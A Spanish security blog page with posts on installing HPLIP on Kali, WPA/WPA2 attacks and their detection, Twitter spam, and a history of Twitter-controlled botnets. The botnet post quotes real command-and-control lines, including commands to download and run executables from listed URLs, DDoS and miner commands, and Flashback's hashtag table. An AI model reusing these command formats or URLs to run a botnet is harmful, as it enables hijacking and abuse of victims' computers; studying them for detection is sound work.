Redes Sociales

lunes, 23 de febrero de 2015

Instalando una impresora HP en Kali Linux con HPlip

Los más puristas, cuando vean lo que estoy tratando de hacer se van a llevar las manos a la cabeza. Al fin y al cabo Kali no fue pensada para estas tareas. Para usar la impresora, vete a un Fedora, Mint, Ubuntu, Debian o similar. Pero con Kali nunca... Lo sé pero tenía una Kali instalada y por no reiniciar el portatil preferí meterme en este "fregao". El caso es que es factible pero no es directo y el proceso es lo que voy a explicar a continuación.

Para instalar los drivers para mi impresora HP en Linux hay que descargarse el HPlip 3.15.2 desde aquí.

Una vez descargado, descomprimimos, le damos permisos de ejecución al fichero ".run":

Al ejecutarlo nos aparece el primer error de la noche:

En el fondo es un warning, porque dandole a 'y' continuaremos con la instalación. A continuación nos indica que lo instalemos a mano, tal y como se explica en www.hplipopensource.com. Pero lo siento soy muy vago para leer tanto...

De nuevo nos vuelve a advertir de que Kali no esta soportada y de nuevo le diremos que si, que si, que me dejes en paz... A continuación nos pregunta qué tipo de instalacion haremos (le decimos que 'a' , automatica).

En este momento nos pregunta que qué distribución tenemos. Le diremos que un Debian (1) y una Debian 6.0 (1):

...al fin y al cabo Kali esta basada en Debian.

Y a continuación nos suelta que le falta un paquete y que no puede continuar.

En la imagen se trata del "CUPS devel", pero lo cierto es que hay una quincena más que le faltan por instalar en una instalación estandar de Kali. Para que nadie tenga que ejecutar (como yo) 15 veces el hplip, incluyo a continuación el listado de paquetes que es necesario instalar:

apt-get install cups libcups2-dev libcups2 libusb-1.0.0 libcupsimage2 libcupsimage2-dev 
avahi-utils python-qt4-dbus python-notify sane-devel libsane-dev xsane

Creo que no me dejo ninguno.

Volvemos a ejecutar el hplip, tal y como hemos hecho antes. Si nos dice que ya hay una version anterior instalada, la machacamos (con la i):

Como vemos en la parte inferior ya no le falta ningun paquete.

Comienza a instalar y nos pide la password de root. Se entiende que porque va a ejecutar con 'su'.

A continuación nos pregunta si estamos instalando una impresora USB. No es mi caso, asi que le doy a "i" de ignorar y luego es cuando escanea la red (en la que es necesario estar conectado) y me encuentra la impresora. Me pide que le de un nombre.

Por último da otro error: No encuentra un fichero PPD válido:

Resulta que los ficheros PPD estan en un subdirectorio y estan comprimidos, por lo que con otro terminal, voy a /root/hplip-3.14.10/ppd/hpcups/hp-deskjet_XXXX_XXXX_series.ppd.gz, lo descomprimo y le paso esa ruta al programa de instalación:

Por ultimo por fin pregunta si queremos imprimir una página de prueba.... y ante el asombro general funciona y la imprime.

Y poco más, ya solo queda usarla:

P.D: para hacer capturas de pantalla en Kali:

gnome-screenshot --interactive

sábado, 14 de febrero de 2015

WIDS. Detección de ataques contra redes WPA y WPA2 a nivel de capa 2 (Parte 1)

El presente articulo era inicialmente un trabajo de doctorado que comencé a realizar. Al quedarse este trabajo un poco a medias, decidí aprovechar el texto escrito para publicarlo en este blog.



1.- WIDS

El objetivo del presente trabajo es el estudio de los IDS Wireless (también llamados WIDS) existentes que detecten ataques contra redes con cifrado WPA y/o WPA2.

Existen multitud de WIDS comerciales, alguno ya muy antiguos que detectan perfectamente ataques contra cifrados WEP, DoS o ataques de desautenticación o fragmentación. Lo que queremos es saber si estas soluciones nos permitirán detectar ataques contra las actuales redes inalámbricas, protegidas en su gran mayoría con cifrados WPA y WPA2.

Algunos ejemplos de WIDS comerciales existentes son:

  • AirSnare
  • WIDZ
  • AirDefense

Existentes otras soluciones de código abierto que, de hecho, son las más utilizadas como:

  • Wireless-Snort
  • SyWorks WAIPDS


2.- Tipos de cifrado en redes Wireless

Existen cuatro modos de cifrado de un red Wireless:

  • Sin cifrado: Cualquiera puede conectarse a la red wifi. Todo el tráfico circula en claro y es el mas inseguro. Aquí no hay problemas de ataques ya que cualquiera puede conectarse a redes de este tipo.
  • Cifrado WEP: Se encuentra ya casi en desuso debido a los multiples problemas existentes en su arquitectura, ya que es vulnerable en muchos puntos y ha sido crackeado de multiples formas. Algunos de los ataques usados contra el cifrado WEP son ataques de fragmentación, el ataque Caffe Latte, el ataque chop-chop (o ataque Korek), el ataque FMS [24], el ataque 1+3, el Hirte Attack, el ataque PTW [25]…. La gran mayoría de este tipo de ataques deja su huella si hay un WIDS escuchando.
  • Cifrado WPA: Se trata de un paso intermedio al cifrado WPA2. Debido a lo fácilmente “crackeable” que era el cifrado WEP se decidió publicar un nuevo estándar de seguridad para las comunicaciones Wifi. Sin embargo no se probó lo suficiente y lo que salió fue WPA. WPA sufre de varios de los problemas de WEP, aunque definitivamente es más seguro. WPA también puede sufrir ataques como el “ataque chopchop modificado”, el ataque de disasociación o los ataques tipo WLAN.
  • Cifrado WPA2: Es el estándar de cifrado recomendado actualmente. La única forma conocida de romperlo es usando ataques de fuerza bruta o con ataques a WPS. Esto por supuesto deja su huella.

Nosotros nos centraremos en los ataques a redes WPA y WPA2, que hoy en día son más del 95% de las wifis domesticas instaladas en este pais. Los ataques a redes con cifrado WEP han sido extensamente descritos en [20] [21] [22] [23] [24] y [25] y son bien detectados por los WIDS actualmente existentes.

Estos ataques contra WEP y contra las redes sin ningún tipo de cifrado quedarán fuera del ámbito de este trabajo.



3.- Los ataques contra WPA/WPA2

Los ataques sobre redes WPA y WPA2 los podemos dividir en 5 tipos:

  1. Fallos de la configuración por defecto de los APs. Son fallos en la interfaz web de los routers o en las contraseñas por defecto de las APs. Algunos ejemplos de estos fallos son:
    1. Contraseñas por defecto de redes WPA WLAN_XXXX. Las contraseñas por defecto de los routers de las redes WLAN_XXXX de Movistar de los años 2011-2013 seguían un algoritmo bien conocido. Con la aplicación WPAMagicKey era posible obtener esa contraseña, únicamente sabiendo la MAC del AP, que se envía en claro en los beacons. Estas redes han ido desapareciendo poco a poco.

    2. Contraseñas por defecto de redes VodafoneXXXX de Arcadyan. Las contraseñas por defecto de los routers de las redes VodafoneXXXX de Vodafone de los años 2013-2014 seguían un algoritmo bien conocido. Con la aplicación “VodafoneXXXX Arcadyan ESSID,PIN and WPA Generator “ es posible obtener esa contraseña, únicamente sabiendo la MAC del AP, que se envía en claro en los beacons.

      Como decía, las formas de ataque son muy variables. Desde el envío de paquetes complejos y difíciles de parsear, hasta fallos en el servidor Web de los routers. Además, las vulnerabilidades a estos niveles dan casi siempre acceso de administración al atacante.

      Otros ejemplos: El firmware de Prism2/Orinoco vulnerable a un “probe response” con longitud de SSID 0 [17]. Los drivers Broadcom para Windows eran vulnerables a un buffer overflow [18] o que los drivers Dlink para Windows eran vulnerables a un buffer overflow en las velocidades de envío [19].

      Lo cierto es que aparecen varias vulnerabilidades de este tipo cada año. Todas ellas son fáciles de detectar… a posteriori, pero es necesario tener actualizado en todo momento el WIDS. El problema consiste en que muchas veces estos problemas de configuración son locales a una zona geográfica (por ejemplo en los casos mencionados anteriormente solo afectaban a ISPs españoles proporcionando lineas de internet en España. Sin embargo las soluciones comerciales son en su inmensa mayoría americanas y no se actualizan ante problemas como los mencionados.

  2. La obtención del handshake o acuerdo de 4 vías que permite al cliente y al punto de acceso negociar las claves utilizadas para cifrar el tráfico enviado. Una vez con el handshake, obtener la contraseña mediante un ataque de diccionario.

    Para obtener el handshake, existen dos alternativas: o bien esperar a que se conecte un cliente al AP, o forzar a un cliente conectado a reconectarse.

    Una vez que se obtenga el handshake, se debe usar un diccionario lo más completo posible y se utilizarán herramientas como aircrack-ng, cowpatty o Pyrit para obtener la contraseña.

  3. La creación de redes falsas que simulen ser las originales para que los clientes se conecten a ellas y realizar ataques MITM contra ellos. Estas redes falsas , tambien conocidas como Rogue APs o como el ataque Evil Twin, se tratan realmente de un ataque MITM. Este ataque consiste en hacerse pasar por una red legítima. Si conocemos el SSID de una red y su cifrado (WEP, WPA…), datos que son públicos, y su contraseña, podremos crear una red similar con la misma contraseña. Los dispositivos se conectaran automáticamente a la red que tiene mayor potencia y muy pocos avisarán que la MAC del router ha cambiado. Los WIDS estándar detectan perfectamente los llamados “rogue APs”.

  4. WPS. El WPS es un mecanismo creado para facilitar la conexión de dispositivos a nuestra WiFi. Existen varios métodos mediante los cuales un dispositivo puede unirse a una red inalámbrica mediante WPS pero el más extendido (y el que se usa en las redes domésticas), es el intercambio de PIN. El dispositivo debe transmitir un código numérico al router y a cambio este último le envía los datos para acceder a la red.

    Es decir, si nuestro router tiene habilitada la funcionalidad WPS y queremos acceder a nuestra WiFi, simplemente tenemos que enviarle un código PIN de 8 dígitos para que el router nos permita acceder a la red inalámbrica. Habitualmente, este código PIN viene escrito en la parte inferior del router, pero existen maneras alternativas de averiguarlo.

    El problema es que el tiempo que un atacante necesita para averiguar un PIN de 8 dígitos es mucho menor que el que necesita para averiguar la contraseña WPA2 configurada en la red.

    La forma de conseguir este PIN es probando todas las combinaciones de 8 dígitos, es decir 100 millones de combinaciones. Sin embargo lo cierto es que no todas son válidas y con apenas unas 11.000 pruebas (unas 4 horas de tiempo) podría ser suficiente para acceder a la red Wifi. Por supuesto todas estas pruebas denotan un posible ataque WPS.

    La razón por la que se reduce a estas 11.000 combinaciones es que el Handshake se envía dividido en 2 mensaje, uno para los 4 primeros dígitos y otro para los tres últimos… y el ultimo carácter es el cheksum!!.

    Además, cada mensaje es validado independientemente, asi que el pin es realmente 10^4 + 10^3, es decir 11000 combinaciones.

    Este problema se conoce desde 2011 pero todavía la gran mayoría de routers siguen teniendo activado WPS, si bien algunos de ellos han añadido técnicas para evitarlo (bloqueando temporalmente el WPS si detectan multiples intentos fallidos).

    La forma de detectar estos ataques es el siguiente. El tráfico WPS legítimo debería ser muy irregular. Sólo los nuevos usuarios que se conecten a una red por primera vez lo generarían. 11.000 peticiones son muchas. No es un tráfico normal. Detectar este tráfico sería muy sospechoso. Recientemente Dominique Bongard [1] descubrió que se podía acelerar este ataque, haciendo 1 intento fallido (dejándolo a medias) y luego calculando dos códigos en el ordenador para reanudar a los pocos segundos la autenticación. Esto también deja su huella.

  5. Ataques DoS . Cuando hablamos de ataques DoS contra una red Wifi por completo, estaremos hablando o bien de Jamming o de un DoS contra el AP.Los primeros son prácticamente inevitables. Si alguien nos quiere hacer un ataque de este tipo, para solucionarlo tendremos que encontrar el Jammer y apagarlo. Los segundos, son complejos pero solucionables. Sería necesario el cambio de credenciales del router y la actualización del dispositivo. En cualquier caso los WIDS actuales detectan ambos tipos de ataques DoS, por lo que no entraran en el ámbito de este trabajo.


4.- Aplicaciones y scripts de crackeado de redes WPA y WPA2

Estas aplicaciones automatizan el crackeo de contraseña de redes Wireless. El problema es que generan mucho ruido y son fácilmente detectables. Un ejemplo es GoyScript, que facilita los ataques a redes con cifrado WEP, WPA y WPS, incluye varios diccionarios de ataque y un interfaz muy amigable que permite realizar los pasos antes mencionados de una forma automática.

Otro ejemplo muy “currado” es Linset que realiza las siguientes acciones de forma automática:
  1. Escanea la red.
  2. Permite seleccionar la red que queremos atacar.
  3. Busca handshake (se puede usar sin handshake)
  4. Monta un FakeAP imitando al original
  5. Se crea un servidor DHCP sobre el FakeAP
  6. Se crea un servidor DNS para redirigir todas las peticiones al Host
  7. Se lanza el servidor web con la interface seleccionada
  8. Se lanza el mecanismo para comprobar la validez de las contraseñas que se van a introducir.
  9. Se deautentica a todos los usuarios de la red legítima, esperando que se conecten al FakeAP e introduzcan la contraseña.


5.- Referencias

[1] http://es.slideshare.net/0xcite/offline-bruteforce-attack-on-wifi-protected-setup
[2] Wireless Intrusion Detection System Using a Lightweight Agent, 2010, http://www.qpic-kw.com/uploads/downloads/05474532.pdf
[3] WHIFF – Wireless Intrustion Detection System, McAffee, 2003, http://www.mcafee.com/it/resources/white-papers/foundstone/wp-whiff-wireless-intrusion-detect.pdf
[4] Wireless Intrusion Detection Systems, 2010, Symantec, http://www.symantec.com/connect/articles/wireless-intrusion-detection-systems
[5] Intrusion Detection Systems Challenges for Wireless Network, Febrero 2012, Manish Kumar et al., http://www.ijera.com/papers/Vol2_issue1/AQ21274280.pdf
[6] Wireless Intrusion Detection and Response, Yu-Xi Lim et al, Junio 2003, http://users.ece.gatech.edu/owen/Research/Conference%20Publications/wireless_IAW2003.pdf
[7] Wireless Snort – A WIDS in progress, Craig Valli, http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.59.5498&rep=rep1&type=pdf
[8] A Closer Look at Wireless Intrusion Detection, Aruba networks
[9] Applying Wired IDS History to Wireless IDS, Joshua Wright, 2000, http://www.willhackforsushi.com/papers/ids-wids-history.pdf
[10] Anomaly Intrusion Detection System in Wireless Sensor Networks: Security Threats and Existing Approaches, Safiqul Islam, Noviembre 2011, http://www.sersc.org/journals/IJAST/vol36/1.pdf
[11] Wired and wireless intrusion detection system: Classifications, good characteristics and state-of-the-art, Tarek S. Sobh, Septiembre 2006,
[12] Applying Intrusion Detection Systems to Wireless Sensor Networks, Rodrigo Roman et al, 2006, http://www.lcc.uma.es/~roman/files/roman-ccnc06.pdf
[13] EWIDS: An Extended Wireless IDS for Metropolitan Wireless Networks Based on Kinematical Analysis, Luci Pirmez et al, Julio 2011, http://paper.ijcsns.org/07_book/201107/20110702.pdf
[14] HoneySpot:The Wireless Honeypot, Raul Siles, Diciembre 2007, http://honeynet.org.es/papers/honeyspot/HoneySpot_20071217.pdf
[15] Addressing Wireless Threats with Integrated Wireless IDS and IPS in the Cisco Unified Wireless Network, CISCO, http://www.technology- resources.co.uk/white-paper/wireless-networking-wlan-wi-fi/4319/addressing-wireless-threats-with-integrated-wireless-ids-and-ips-in-the-cisco- unified-wireless-network/
[16] Comparative Analysis of IDS Algorithms for Wireless Sensor Networks, Harshal A. Arokar et al, Marzo 2011, http://www.bvicam.ac.in/news/INDIACom%202011/39.pdf
[17] 802.11b Firmware-Level Attacks, http://www.willhackforsushi.com/papers/firmware_attack.pdf
[18] Broadcom Wireless Driver Probe Response SSID Overflow http://www.securiteam.com/exploits/6P00H1FHFA.html
[19] D-Link DWL-G132 Wireless Driver Beacon Rates Overflow http://www.securiteam.com/exploits/6O00G1FHFY.html
[20] Atacando WEP sin AP o ataque Caffe Latte. http://highsec.es/2013/09/atacando-wep-sin-ap-o-ataque-caffe-latte/
[21] KoreK chopchop. http://www.aircrack-ng.org/doku.php?id=es:korek_chopchop
[22] Ataques contra WEP – Ataque de Fragmentación. http://thehackerway.com/2012/04/20/wireless-hacking-ataques-contra-wep-ataque-de- fragmentacion-parte-x/
[23] Ataques contra WEP – Hirte Attack. http://thehackerway.com/2012/04/25/wireless-hacking-ataques-contra-wep-hirte-attack-parte-xi/
[24] FMS Attack on RC4. http://www.cs.rit.edu/~axl6334/crypto/Report.pdf
[25] Attacks on the WEP protocol. http://eprint.iacr.org/2007/471.pdf
[26] An Inexpensive Wireless IDS using Kismet and OpenWRT. SANS. https://www.sans.org/reading-room/whitepapers/wireless/inexpensive-wireless-ids-kismet-openwrt-33103

jueves, 5 de febrero de 2015

Encontrando Spam en Twitter

Uno de los usos en constante crecimiento de Twitter es el envío de SPAM (ya sea publicitario, malicioso, bulos o simplemente mensajes que pretenden restar credibilidad a alguien).

En Twitter no es dificil encontrar cuentas que sólo publican SPAM. Por ejemplo con mensajes repetidos de este estilo:

#TechNews Crash Override wants to help survivors of Gamergate and other online abuse http://bit.ly/1ypjtxY 

Buscando por ejemplo este mismo texto en twitter, casi sin darse cuenta, aparecen cientos de tweets (Y ahora que Google va a volver a indexar tweets será mucho más facil):

Lo que inicialmente fue una noticia real, publicada por theverge.com, y con, desde mi punto de vista, poco interes, al cabo de un rato comenzó a ser un twitteado en apenas 4 minutos por al menos 33 cuentas distintas redirigiendo a un dominio en concreto (entertainmentnote.com). Todos ellos con fotis de chicas y chicos de buen ver y con nombres de cuentas, cuando menos sospechosos (@Kf0frjcglryh4 o @mcyz8pv5shj)

A veces ocurre que dos "hermanas gemelas" twittean spam con sus respectivas cuentas:

Abriendo alguna de estas cuentas al azar vemos que esta "persona" tiene la increible capacidad de escribir 10 tweets en el mismo minuto, estar 35 minutos sin twittear y de nuevo escribir 10 tweets en el mismo minuto:

Si investigamos un poco más en detalle, podemos ver que , como decia, todos los enlaces de estos tweets, apuntan a un mismo dominio:

ENTERTAINMENTNOTE.COM

Una vez revisado el dominio no parece malicioso, y los contenidos son los "publicitados" en los tweets, por lo que parece spam cuyo objetivo es ese: publicitario. Investigando un poco mas, el dominio aparece registrado a nombre de Rohit Singh de Delhi, India.

Y el hecho es que existe todo un mercado negro de este tipo de botnets:
http://www.imchris.org/research/thomas_sec13.pdf

Como digo no son dificiles de detectar, suelen ser cuentas con gran numero de tweets y con muchos followers y "following". Tienen todas el mismo formato de Tweets, tanto en tamaño de letra, estructura, enlaces, todo.

Existen multiples articulos de investigación sobre la detección de spam en twitter, como éste, éste o éste, pero de verdad que no hay que ser un hacha para detectar que una cuenta es usada con estos fines.

martes, 3 de febrero de 2015

Botnets controladas por Twitter

Una de las caracteristicas principales de las botnets es que disponen de un servidor de control operador por el botmaster y desde el que éste manda ordenes que serán realizadas por todos los nodos zombies de la botnet. Este caracter central del servidor C&C hacía que anulando este nodo central, toda la botnet quedara destruida. Para evitar esto hacia 2009 aparecieron las botnets P2P, pero antes que eso, a los hackers se les ocurrió utilizar servicios públicos para controlarlas. En concreto las redes sociales.

Una botnet controlada mediante twitter tiene ciertas ventajas para el botmaster. Por ejemplo, no necesita de ninguna infraestructura propia o contratada para mantener la botnet. Además la detección de las cuentas de control puede ser muy dificil entre los casi 1000 millones de cuentas que actualmente existen en Twitter.

Muy pocos son los casos de botnet controladas por twitter documentadas. Sin embargo tiene que haber (y haber habido) muchas más de las que comento en esta entrada.

La primera prueba de concepto del control de una botnet usando comandos de twitter (http://digi.ninja/kreiosc2/), se publicó a principios de 2009 y fue mencionada en la Defcon17 en la charla Social Zombies: Your Friends Want To Eat Your Brains.

Se trataba de una botnet que utilizaba autenticación básica, metodo de autenticación que seria posteriormente cambiado por Twitter a OAUTH, mucho mas robusto.



La botnet NAZ

En Agosto de 2009 saltaba la noticia de que se habia descubierto (por casualidad) una botnet controlada mediante twitter. Se difundió por todas partes la captura de pantalla de la cuenta que actuaba como servidor C&C:

Como se puede ver, en el momento de la captura de la imagen la cuenta tenía 7 followers, que no tienen que ser nodos del botnet, ya que los mensajes en twitter son públicos y era a través de éstos que el botmaster se comunicaba con sus nodos.

Esta botnet fue estudiada en mucho detalle en:

Los comandos utilizados eran palabras codificadas en base 64. De hecho los 18 primeros caracteres eran siempre iguales. Al decodificar estos comandos, se obtenian URLs de bit.ly que redirigian a:

  • aHR0cDovL2JpdC5seS8xN2EzdFMg --> http://bit.ly/17a3tS --> http://rifers.org/paste/content/paste/9509/body?key=upd4t3
  • aHR0cDovL2JpdC5seS9MT2ZSTyBodHRwOi8vYml0Lmx5L0ltZ2 --> http://bit.ly/LOfRO --> http://rifers.org/paste/content/paste/9508/body?key=upd4t3
  • aHR0cDovL2JpdC5seS8xN2w0RmEgaHR0cDovL2JpdC5seS8xN --> http://bit.ly/17l4Fa --> http://rifers.org/paste/content/paste/9507/body?key=upd4t3
  • aHR0cDovL2JpdC5seS8zUndBTiBodHRwOi8vYml0Lmx5LzJwU0 --> http://bit.ly/3RwAN --> http://pastebin.com/pastebin.php?dl=m49f3b4c2
  • aHR0cDovL2JpdC5seS9wbVN1YyBodHRwOi8vYml0Lmx5LzE3b -->http://bit.ly/pmSuc --> http://paste.ubuntu.com/252515/plain/
  • aHR0cDovL2JpdC5seS9HaHVVdSBodHRwOi8vYml0Lmx5L1FqC -->http://bit.ly/GhuUu --> http://rifers.org/paste/content/paste/9506/body
  • aHR0cDovL2JpdC5seS9RakFaWQ== --> http://bit.ly/QjAZY  --> http://paste.debian.net/44059/download/44059
  • aHR0cDovL2JpdC5seS83UGFEOQ== --> http://bit.ly/7PaD9  --> http://paste.debian.net/44056/download/44056
  • aHR0cDovL2JpdC5seS9HaHVVdSBodHRwOi8vYml0Lmx5L1FqC -->http://bit.ly/Qj --> http://nossacamiseta.net/product_info.php/products_id/564
  • aHR0cDovL2JpdC5seS8zUndBTiBodHRwOi8vYml0Lmx5LzJwU0 --> http://bit.ly/2pS --> http://friendfeed.com/koltregaskes/6c53228d/twine_official-i-ll-e-mail-straight-away-any
  • aHR0cDovL2JpdC5seS9MT2ZSTyBodHRwOi8vYml0Lmx5L0ltZ2 --> http://bit.ly/Img --> http://www.friedbeef.com/save-time-on-your-spreadsheets-asap-utilities/
  • aHR0cDovL2JpdC5seS8xN2w0RmEgaHR0cDovL2JpdC5seS8xN -->http://bit.ly/1 --> http://www.blogger.com/profile/09172993341866649612
  • aHR0cDovL2JpdC5seS9wbVN1YyBodHRwOi8vYml0Lmx5LzE3b -->http://bit.ly/17 --> http://www.17tech.com/soft/index.shtml

Entre estas URLs se podian distinguir dos grupos bien diferenciados, los enlaces que apuntaban a descargas de malware (los 8 primeros) y otros enlaces aparentemente no maliciosos (los ultimos 5).

Tiene todo el aspecto de que se trataran de URLs donde descargarse malware que iban cambiando cada poco tiempo. De hecho los tweets se habian producido a un ritmo medio de 2 cada hora.

Finalmente se encontraron con 4 pares de ficheros .EXE/.DLL desconocidos hasta el momento.

Buscando esa misma cuenta, upd473 en otras redes sociales, el investigador también encontró que la botnet tambien se conectaba a otro servicio de microblogging (llamado Jaiku.com y ya desaparecido) para enviar comandos similares:

Incluso encontró una cuenta de Tumblr similar pero abandonada:

Unos dias más tarde, el 26 de Agosto de 209, alguien reportó a twitter la existencia de una cuenta similar llamada botn3tcontrol que, por supuesto fue cerrada a las pocas horas.



TwitterNET Builder

El 19 de Mayo de 2010 bitdefender informaba de la existencia de un Kit de desarrollo de botnets basados en twitter.

El Kit habia sido llamado TwitterNET Builder y no es dificil encontrar varios videos en youtube demostrando su fucnionamiento:

Este kit permitiría a cualquier script kiddie crear una botnet controlada mediante twitter. Lo cierto es que los comandos eran muy ingenuos, escritos en texto plano y muy facilmente detectable por cualquiera que hiciera un busqueda en twitter.

En dicho kit, el master podia mandar los siguientes comandos a los bots:

  • .VISIT, con parametros separados por '*': .VISIT*URL*1. El comando haría que el equipo infectado visitara una URL. en una ventana visible (1) o invisible (0).
  • .SAY, con un único parametro. .SAY*Hola. Este comando envia el texto pasado como parametro al motor de habla Text-To-Speech Engine de microsoft para que suene por los altavoces lo que se indique como parámetro.
  • .DOWNLOAD, con dos parámetros, el primero la URL a visitar y el segundo un 0 o un 1: .DOWNLOAD*URL/somefile.exe*0 . La URL le indica al bot de donde descargar un fichero y el segundo parámetro le indica si ejecutarlo o no.
  • .DDOS*IP*PORT, lanza un flood attack contra la IP indicada en el puerto indicado.
  • .STOP se asegura de que deja de hacer lo que se le mandó en el ultimo comando y vuelve al estado de escucha.
  •  
  • .REMOVEALL desconecta al bot de twitter y lo deja en estado de reposo hasta la siguiente conexion, haciendolo asi menos visible.

En el articulo anterior comentaban que consideraban este kit como creado por un “wanabee”, ya que no habia puesto ningun esfuerzo en ocultar la naturaleza de los tweets.

Llama la atención que, en este caso, la cuenta de twitter no tenía ningún seguidor, ni seguia a nadie, haciendolo de esta manera “independiente”, del resto de la red de twitter, pero invisible ya que esos tweets siempre se pueden buscar.



La botnet Mehika

El 15 de Septiembre de 2010 aparecía la noticia de otra “twitter botnet” en mexico.

Esta botnet resultó ser una evolución de TwitterNet Builder escrita por un hacker mexicano. Bastante ingenuo tambien:

Trendmicro explicó en detalle el funcionamiento de la botnet en este paper.

Leyéndolo sabemos, entre otras muchas cosas, que fue escrito en PHP y que se dirigia al publico en general de habla hispana. También cuáles eran los comandos que utilizaba:

  • ADDHOST: añade una nueva entrada al fichero HOSTS del equipo infectado usando la sintaxis: “ADDHOST [IP address] [domain].” Al recibir el comando, el equipo zombie añade dos lineas al fichero HOSTS del PC víctima. La primera línea es la IP y el dominio, la segunda la linea es la misma IP pero con el subdominio “www”.
  • NEWHOST: Similar al comando ADDHOST, sin embargo antes de añadir una nueva entrada al fichero HOSTS, lo borra por completo. Crea un nuevo fichero HOSTS (en español).
  • RESTARHOST: Este comando elimina el contenido del fichero HOSTS y lo reemplaza con un fichero HOSTS legítimo.
  • VISITED: Fuerza al usuario a visitar un página web en concreto. Este comando, sin embargo, solo soporta los protocolos HTTP y HTTPS. El comando tiene el formato: “VISITED [URL a visitar]” ...y cambia las cadenas “http” y “https” de la URL por “tttp” y “tttps”, respectivamente. Este tipo de comandos son utiles cuando se abren páginas maliciosas, pero no al descargar ficheros, ya que en este caso se requiere intervencion del usuario.
  • MSN: Envía un mensaje con una URL a los contactos de MSN de la víctima, cuando el usuario comprometido ejecute la aplicación de mensajería instantanea en el equipo infectado. Cuando el usuario de un equipo infectado envie un mensaje instantaneo, toda la gente con la que tenga una conversacion activa recibirá un mensaje de spam. Y cada vez que el usuario envia 10 mensajes legitimos, el bot reenvia el mismo mensaje de Spam.
  • DOWNLOAD: Descarga y ejecuta un fichero en concreto de una URL remota. Como ocurria antes, el malware cambiará “http” y “https” por “tttp” y “tttps,” respectivamente.
  • HOMEPAGE: Cambia la página de inicio del navegador del equipo víctima. Esto sólo funciona en las versiones en español e inglés de Internet Explorer y Firefox.
  • SENDMAIL: Le indica al equipo zombie que envíe un correo electrónico al botmaster para reportar información que le permitirá saber el tamaño de la botnet.


Pruebas de concepto

El 12 de Agosto de 2010 Yeahcricket, programaba "en un rato" un troyano que se controlaba por Twitter:

En este caso algunos comandos son:

  • decir: XXXXX< --> Muestra un cuadro de dialogo con lo que queremos que le aparezca a la victima en pantalla.
  • visitar: URL --> Hace que se abra el navegador de la victima y se visite la página que le hemos indicado.
  • mostrar imagen: URL --> Muestra una imagen en la pantalla de la victima.

En https://www.youtube.com/watch?v=JBreWkcbQnk muestran otra prueba de concepto, con comandos como GOTO, STOP, TWIT...

Se tratan de pruebas de concepto, pero permiten darse cuenta de lo simple que es realizar una botnet controlada por twitter.



Bitcoin Twitter botnet

El 2 de Agosto de 2011, F-Secure destapaba la existencia de una botnet controlada por twitter que permitia a los botmaster minar bitcoins con los equipos infectados.

La cuenta de twitter que utilizaba aparente aun sigue abierta, pero no ha sido actualizada desde Julio de 2011:

La botnet descargaba un software de minado de bitcoins, desde una cuenta de dropbox, que era instalada en el equipo y se quedaba a la espera de los comandos del botmaster desde Twitter.

Los comandos utilizados en este caso, aunque en texto claro, no dejan del todo clara su estructura:

BM|50|http://fatjakey.co.uk/biz/bc_miner/bitcoin-miner.exe|http://mineco.in:3000/|benjie4444.explorer|svchost

Podriamos aventurar que BM indica que el equipo victima mine 50 bitcoins (BM|50) con la aplicacion indicada en la URL y el resultado se suba a http://mineco.in:3000 con el usuario benjie4444.explorer y la contraseña svchost. Aunque son todo meras conjeturas.

Otros comandos que podemos encontrar en dicha cuenta son:

  • VV|http://0525e463.qqc.co 
  • VI|http://0525e463.qqc.co 

Aunque no podemos aventurar su significado exacto, probablemente indiquen a los nodos zombies la descarga de nuevo malware, o de nuevas funcionalidades del malware. La URLs a las que apunta hace mucho que ya no existen.

En esta URL se explicaba un poco más en detalle su funcionamiento y comandos:

Start Bitcoin Mining:
         START [PERCENTAGE OF CPU TO USE] [POOL URL] [WORKER USERNAME] [WORKER PASSWORD]

Stop Bitcoin Mining:
         STOP

Kill (Uninstall):
         KILL

No parece ser exactamente el mismo malware pero definitivamente es una evolución del mismo, ya que el creador (sekurity.ws) es el mismo. De hecho esta podria ser una version anterior.



Flashback botnet

El 5 de Marzo de 2012 se conocía de la existencia de un malware para Mac que utilizaba Twitter como su canal C&C.

En este caso, en vez de usar una única cuenta, que puede ser eliminada, hacía que los equipos infectados buscaran en twitter unos determinados hashtags. Estos hashtags eran caracteres aparentemente aleatorios que cambiaban a diario. Dichos hashtags constaban de 12 caracteres, que tenian un significado. Los cuatro primeros caracteres identificaban el día, los siguientes 4 caracteres identificaban el mes y los 4 últimos identificaban el año. Estos caracteres se escogian a partir de la tabla:

0 gbqj 18 kudd
1 dljt 19 nwal
2 yfad 20 hmca
3 kpsh 21 dqyo
4 igaw 22 kkag
5 pepb 23 viqt
6 ezcn 24 wpld
7 hwpd 25 nsiy
8 drir 26 myvo
9 rnwp 27 rgel
10 updw 28 zlxl
11 jsng 29 djno
12 xeoa 30 beti
13 rgdg 31 ewof
14 aofl 32 mqan
15 oeur 33 xsco
16 dspu 34 jfiq
17 jyuv

Así, al buscar el hashtag #pepbyfadxeoa, estaban buscando comandos para el 5 de Marzo de 2012. El de hoy, 4 de Febrero de 2015 seria el hashtag #igawdljtoeur. Al buscarlo en twitter no ha salido nada.

De esta manera el bot, cada cierto tiempo hacía la peticion GET correspondiente al dia en curso, por ejemplo GET http://mobile.twitter.com/searches/q=%23pepbyfadxeoa y si habia algun tweet, ejecutaba el comando que lo acompañaba.

La ventaja de este método de control es que se puede controlar desde cuaquier cuenta nueva o comprometida. El inconveniente es que, una vez que se hagan públicos los códigos de los hashtag, la botnet esta muerta.

Tras una minuciosa investigación, se ha sabido que la idea de este malware era utilizar twitter unicamente en caso de que se perdiera contacto con la totalidad de servidores C&C que utilizaba la botnet. Cabe mencionar que nunca se encontró ningun mensaje con hashtag válido por lo que cabe pensar que los atacantes podrian o no haber lo usado nunca o haber borrado sus tweets tras asegurarse que los bots los hubieran leido.



Twitter botnet masiva

El pasado 10 de Marzo de 2014, un ingeniero de sistemas destapaba por casualidad una botnet basada en twitter. En este caso, la botnet tendria al menos 35000 nodos, pero los comandos, en este caso simularían ser SPAM, con textos como los siguientes:

  • I dont know much about Haarp but Edward Snowden is the one thats revealing it to the world and to the newspapers so will become the”
  • “Oh, its the weekly kill Edward Snowden shout out from and !”
  • "Son? Ure hungry Ma : Ok my sonmofe: Yh lol : Its all black : Wasup with it? : mofe dis ur new avi”
  • "I wonder if Edward Snowden is a dignitary"

